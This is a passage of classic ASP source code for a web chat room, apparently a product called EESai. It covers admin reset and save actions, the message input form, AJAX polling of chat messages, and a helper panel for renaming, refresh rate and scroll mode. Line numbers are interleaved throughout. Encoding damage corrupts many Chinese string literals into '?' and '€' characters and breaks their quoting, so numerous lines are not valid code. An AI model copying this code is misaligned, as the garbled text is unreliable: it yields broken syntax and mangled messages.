response.Write aigo("恭喜您，操作成功?,"?"&eur0&"/chat.html")
685:
end if
686:
elseif eur2="saym" then
687:
if eur3="" then
688:
response.Write mfous("m")
689:
else
690:
response.Write aigo("恭喜您，操作成功?,"?"&eur0&"/chat.html")
691:
end if
692:
elseif eur2="reset" then
693:
if eccc=1 then
694:
Call anfw("",eckk&"/EESaiChat.txt")
695:
Call anfw("0",eckk&"/EESaiChato.txt")
696:
Call anfw("",eckk&"/EESaiChatu.txt")
697:
Call anfw("",eckk&"/EESaiChatx.txt")
698:
else
699:
application.lock
700:
application(ecsn&eckk&"say")=""
701:
application(ecsn&eckk&"sayo")=0
702:
application(ecsn&eckk&"sayu")=""
703:
application(ecsn&eckk&"sayx")=""
704:
application.unlock
705:
end if
706:
Response.Cookies(eckk&"tm")=""
707:
Response.Cookies(eckk&ecog)=""
708:
Response.Cookies(eckk&ecop)=""
709:
Response.Cookies(eckk&ecop&"a")=""
710:
Response.Cookies(eckk&"say")=""
711:
Response.Cookies(eckk&"sayo")=""
712:
'Response.Cookies(ecue)=""
713:
Response.Cookies(eckk&"sn")=""
714:
response.Write aigo("恭喜您，成功复位?,1)
715:
elseif eur2="save" then
716:
Call aisn(0)
717:
if eccc=1 then
718:
Call anfw(anfr(eckk&"/EESaiChat.txt"),eckk&"/EESaiChat_"&aisn(1)&".txt")
719:
Call anfw("",eckk&"/EESaiChat.txt")
720:
else
721:
Call anfw(application(ecsn&eckk&"say"),eckk&"/EESaiChat_"&aisn(1)&".txt")
722:
application.lock
723:
application(ecsn&eckk&"say")=""
724:
application.unlock
725:
end if
726:
response.Write aigo("恭喜您，成功保存?&aisn(1)&"）！",1)
727:
else
728:
%
>
729:
<table class="cm" align="center" border="0" cellspacing="0" cellpadding="0"><tr>
730:
<td><a class="cma" target="chat" href="?
<%
=eur0
%
>/
<%
=ecvx
%
>/say.html">发言</a>(<a class="cma" href="?
<%
=eur0
%
>/
<%
=ecvx
%
>/sayo.html" target="chat">数量</a>)</td>
731:
<td><a class="cma" href="?
<%
=eur0
%
>/
<%
=ecvx
%
>/saym.html" target="chat">收藏</a></td>
732:
<td><a class="cma" target="chat" href="?
<%
=eur0
%
>/
<%
=ecvx
%
>/sayu.html">聊友</a>(<a class="cma" target="chat" href="?
<%
=eur0
%
>/
<%
=ecvx
%
>/sayx.html">禁言</a>)</td>
733:
<td><a class="cma" target="_self" href="?
<%
=eur0
%
>/
<%
=ecvx
%
>/save.html">保存</a>(<a class="cma" target="_self" href="javascript:if(confirm('确认这么做吗?'))window.location='?
<%
=eur0
%
>/
<%
=ecvx
%
>/reset.html'">复位</a>)</td>
734:
<td><a class="cma" target="_top" href="?
<%
=eur0
%
>">返回</a>(<a class="cma" target="chat" href="?
<%
=eur0
%
>/chat.html">预览</a>)</td>
735:
</tr></table>
736:
<%
end if
737:
else
%
>
738:
<div class="cc"><input class="ccst" type="button" onClick="top.location.href='?
<%
=eur0
%
>'" value="对不起，您没有这个权限€?></div>
739:
<%
end if
%
>
740:
</body>
741:
</html>
742:
743:
<%
elseif eur1="say" then
%
>
<%
=fcwtop()
%
>
744:
<%
if esuxy>0 then
%
>
745:
<script type="text/javascript">
746:
function AsaiSay(){
747:
parent.frames.chat.location.reload();
748:
parent.say.document.getElementById('
<%
=eckk
%
>say').focus();
749:
}
750:
</script>
751:
<body class="yb" onLoad="document.getElementById('
<%
=eckk
%
>say').focus();">
752:
<%
=mfosay(esuxy)
%
>
753:
<table class="plk" align="center" border="0" cellspacing="0" cellpadding="0"><form action="" name="EESaichatForm" id="EESaichatForm" method="post" target="_self"><tr>
754:
<td>
755:
<%
if eclm=1 and esubt="" then
%
><input type="hidden" name="
<%
=eckk
%
>say" value="@@"><input class="plki" title="
<%
=ecin
%
>" onClick="this.className='plki1';" type="text" id="
<%
=eckk
%
>say" name="
<%
=eckk
%
>say" value="
<%
=ecin
%
>" onBlur="this.className='plki';if(this.value==''){this.value='
<%
=ecin
%
>';}" onFocus="if(this.value=='
<%
=ecin
%
>'){this.value='';}">
<%
else
%
><input class="plki" title="
<%
=ecfo
%
>" onClick="this.className='plki1';" type="text" id="
<%
=eckk
%
>say" name="
<%
=eckk
%
>say" value="
<%
=ecfo
%
>" onBlur="this.className='plki';if(this.value==''){this.value='
<%
=ecfo
%
>';}" onFocus="if(this.value=='
<%
=ecfo
%
>'){this.value='';}">
<%
end if
%
><input type="hidden" name="
<%
=eckk
%
>code" id="
<%
=eckk
%
>code" value="
<%
=ecky
%
>code" />
756:
</td><td width="34">
757:
<%
if eclm=1 and esubt="" then
%
><input class="plks" type="submit" value="登入">
<%
else
%
><input class="plks" type="submit" value="
<%
=ecft
%
>">
<%
end if
%
>
758:
</td>
759:
</form></tr></table>
760:
<%
else'被禁€
%
>
761:
<body class="yb">
762:
<input class="yst" type="button" onClick="top.location.href='?
<%
=eur0
%
>'" value="您暂时无权发€，欢迎浏览聊天室?>
763:
<%
end if
%
>
764:
</body>
765:
</html>
766:
767:
<%
elseif eur1="chat" then
768:
%
>
<%
=fcwtop()
%
>
769:
<script language="JavaScript">
770:
function Asaigk(aid){document.getElementById(aid).className="gk";}
771:
function Asaigg(aid){document.getElementById(aid).className="gg";}
772:
function AsaiXmlHTTP(){
773:
var AsaiXml;
774:
if(window.ActiveXObject)
775:
{AsaiXml=new ActiveXObject("Microsoft.XMLHTTP");}
776:
else if(window.XMLHttpRequest)
777:
{AsaiXml=new window.XMLHttpRequest();}
778:
AsaiXml.open("POST","?
<%
=eckk
%
>/nr.html",false);
779:
AsaiXml.send(null);
780:
document.getElementById("AsaiPrints").innerHTML=unescape(AsaiXml.responseText);
781:
<%
if Request.Cookies(eckk&ecog)=ecog then
%
>window.scroll(0,document.body.scrollHeight);
<%
end if
%
>
782:
}
783:
</script>
784:
<script language="JavaScript">function AsaiXmlRead(){window.setInterval("AsaiXmlHTTP();",
<%
=mfotm()*1000
%
>);}</script>
785:
<body class="pg" onLoad="AsaiXmlHTTP();
<%
if mfotm()<1000 then
%
>AsaiXmlRead();
<%
end if
%
>">
786:
<div id="AsaiPrints"></div>
787:
<div id="hh">
<%
=mfoer()
%
></div>
<%
788:
if Request.Cookies(eckk&ecop)=ecop or (Request.Cookies(eckk&ecop)="" and ecxp=1) then
789:
if eur2<>"" then Response.Cookies(eckk&ecop&"a")=eur2
790:
if eur3<>"" then
791:
Response.Cookies(eckk&ecop&"b")=eur3
792:
response.Redirect("?"&eur0&"/"&eur1&".html")
793:
end if
794:
%
>
795:
<%
if Request.Cookies(eckk&ecop&"a")<>"0" then
%
>
796:
<div id="hk">
797:
<div id="hkb"><a title="关闭辅助窗口（该命令可以通过在聊天框中输?%=ecop
%>
命令来实现）" onClick="document.getElementById('hkc').style.display='none';" href="?
<%
=eur0
%
>/
<%
=eur1
%
>/0.html">×</a></div>
798:
<div id="hkc"><ul>
799:
<%
if ecqq<>"" then
%
><li class="hl"><input type="button" class="hkh" onClick="javascript:if(confirm('您即将直接与聊天室的管理员取得联系€?))window.open('http://wpa.qq.com/msgrd?v=3&uin=
<%
=ecqq
%
>&site=http://eesai.com/&menu=yes')" value="联系管理?></li>
<%
end if
%
>
800:
<%
if mfotm()>ects then
%
><li class="hl"><input type="button" class="hkh" onClick="javascript:if(confirm('您需要刷新聊天窗口吗?))window.parent.location.reload();" value="刷新聊天?></li>
<%
end if
%
>
801:
<li class="hl">
<%
if Request.Cookies(eckk&ecog)=ecog then
%
><input type="button" class="hkh" onClick="javascript:if(confirm('即将€启手动滚屏，此模式下聊天窗口不会自动上升到最新聊天信息的位置，需手动滑动滚动条浏览（该命令可以€过在聊天框中输?%=ecog
%>
命令来实现）?))location.href='?
<%
=eur0
%
>/eesai-
<%
=ecog
%
>0';" value="€手动滚屏">
<%
else
%
><input type="button" class="hkh" onClick="javascript:if(confirm('即将€启自动滚屏，此模式下无法正常使用滚动条滑动浏览（该命令可以€过在聊天框中输?%=ecog
%>
命令来实现）?))location.href='?
<%
=eur0
%
>/eesai-
<%
=ecog
%
>';" value="€自动滚屏">
<%
end if
%
></li>
802:
<li class="hl"><form name="eesgm" action="?
<%
=eur0
%
>/eesai-gm" method="post" target="_self"><input class="hki" title="输入新名字，点击改名按钮即可改名字了（该命令可以通过在聊天框中输?@@新名?命令来实现）? type="text" name="gm" value="
<%
=esubt
%
>"><input class="hks" type="submit" value="改名"></form></li>
803:
<li class="hl"><form name="eestm" action="?
<%
=eur0
%
>/eesai-tm" method="post" target="_self">
804:
<input class="hki" title="输入聊天室刷新频率，单位：秒，点击刷屏按钮即可按规定的时间刷屏了（当设置的刷屏时间大?%=ects
%>
，将€启手动刷新按钮，可节约服务器与客户资源€）? type="text" name="tm" value="
<%
=mfotm()
%
>"><input class="hks" type="submit" value="刷屏"></form></li>
805:
<li class="hl"><select onChange="parent.say.document.getElementById('
<%
=eckk
%
>say').value=this.options[this.options.selectedIndex].value;" class="hkt">
806:
<%
if esuty>=ecvm then
807:
dim fdemrr,fdemi
808:
fdemrr=split(ecem,"|")
809:
for fdemi=0 to ubound(fdemrr)
%
>
810:
<option value="[
<%
=fdemi
%
>]">
<%
=fdemrr(fdemi)
%
></option>
811:
<%
next
812:
end if
%
>
813:
</select></li>
814:
<%
if esubt<>"" then
%
><li class="hl"><input type="button" class="hkh" onClick="javascript:if(confirm('您即将€€出聊天室?))location.href='?
<%
=eckk
%
>/out.html';" value="离开聊天?></li>
<%
end if
%
>
815:
<li class="cr"></li>
816:
<ul>
817:
</div>
818:
</div>
819:
<%
else
%
>
820:
<div id="hko"><a title="打开辅助窗口" onClick="document.getElementById('hkc').style.display='block';" href="?
<%
=eur0
%
>/
<%
=eur1
%
>/1.html">辅助</a></div>
821:
<%
end if
%
>
822:
<%
end if
%
>
823:
</body>
824:
</html>
825:
<%
elseif left(eur1,6)="eesai-" then
%
>
<%
=fcwtop()
%
>
826:
<%
827:
dim hkdr
828:
hkdr=replace(lcase(eur1),"eesai-","")
829:
if left(hkdr,len(ecop))=ecop then
830:
Response.Cookies(eckk&ecop)=hkdr
831:
elseif left(hkdr,len(ecog))=ecog then
832:
Response.Cookies(eckk&ecog)=hkdr
833:
elseif hkdr="gm" then
834:
response.Write mfogm(fureq("gm"))
835:
elseif hkdr="tm" then
836:
response.Write mfosp(aiint(fureq("tm")))
837:
end if
838:
response.Write("<script>window.parent.location.reload();</script>")
839:
%
>
840:
</body>
841:
</html>
842:
<%
else
%
>
<%
843:
response.Write(fcwtop()&"<frameset rows=""*,"&ecgd&""" frameborder=""no"" border=""0"" framespacing=""0""><frame src=""?"&eur0&"/chat.html"" name=""chat"" id=""chat""><frame src=""?"&eur0&"/say.html"" scrolling=""No"" noresize=""noresize"" name=""say"" id=""say""></frameset><noframes><body></body></noframes></html>")
844:
%
></html>
845:
<%
end if
846:
end if
847:
end if
%
>
848:
849: